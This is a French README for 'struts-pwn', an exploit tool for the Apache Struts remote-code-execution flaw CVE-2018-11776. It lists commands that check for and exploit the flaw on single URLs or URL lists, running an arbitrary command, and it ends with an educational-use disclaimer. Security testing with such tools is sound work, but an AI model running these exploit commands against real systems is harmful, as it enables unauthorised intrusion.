struts-pwn - CVE-2018-11776 Exploit

Un exploit pour Apache Struts CVE-2018-11776

Utilisation

Vérifier si la vulnérabilité existe sur une seule URL.

python struts-pwn.py --url 'http://example.com/demo/struts2-showcase/index.action'

Vérifier si la vulnérabilité existe sur une liste d'URLs.

python struts-pwn.py --list 'urls.txt'

Exploiter une seule URL.

python struts-pwn.py --exploit --url 'http://example.com/demo/struts2-showcase/index.action' -c 'id'

Exploiter une liste d'URLs.

python struts-pwn.py --exploit --list 'urls.txt' -c 'id'

Démo

Prérequis

• Python2 ou Python3
• requests

Avertissement légal

Ce projet est conçu à des fins éducatives et de test éthique uniquement. L'utilisation de struts-pwn pour attaquer des cibles sans consentement mutuel préalable est illégale. Il est de la responsabilité de l'utilisateur final de se conformer à toutes les lois locales, étatiques et fédérales applicables. Les développeurs déclinent toute responsabilité et ne sont pas responsables de toute utilisation abusive ou de tout dommage causé par ce programme.

Licence

Ce projet est sous licence MIT.

Auteur

Mazin Ahmed

• Site web : https://mazinahmed.net
• Email : mazin AT mazinahmed DOT net
• Twitter : https://twitter.com/mazen160
• Linkedin : http://linkedin.com/in/infosecmazinahmed